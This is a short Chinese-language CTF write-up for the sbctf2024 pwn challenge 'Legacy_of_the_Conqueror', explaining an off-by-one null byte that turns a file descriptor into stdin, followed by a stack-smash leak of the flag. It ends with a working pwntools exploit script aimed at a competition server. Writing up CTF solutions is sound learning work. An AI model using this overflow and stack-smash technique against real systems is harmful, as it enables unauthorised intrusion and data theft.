sbctf2024
复现一下sbctf2024
week 1
Legacy_of_the_Conqueror
检查保护机制:
用ida看源码:
经典菜单,输入变量v3,当v3为1时进入read_story,为2进入update_story,为3退出循环
v3为1时,查看read_story,把flag写入了以flag为开头地址的bss段中:
v3为2时,查看update_story,咋一看没有溢出,但是打开input函数,发现可以溢出一个字节0x00,由于打开your_story
时,文件描述符为3,所以可以将其覆盖为0。
将v2覆盖为0后,read便从标准输入,写入到v3。便可以发生栈溢出,通过stack smash(破坏canary)来解决。
首先找出偏移=v1到程序名的一级指针的偏移量-v2大小,然后找到flag的地址,构成payload。
注意下图这个二级指针的地址不是我们要的,它是main函数的参数,要的是它指向的一级指针的地址。
exp: 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21from pwn import *
#context.log_level = "Debug"
#p = process('./pwn')
p = remote('47.76.71.50',20148)
flag = 0x404060
def read_story() :
p.sendline(b"1")
def update_story() :
p.sendline(b'2')
payload = 0x1a4 * b'a'+pack(flag,bits=64)
raw_input()
p.sendline(payload)
read_story()
update_story()
raw_input()
p.interactive()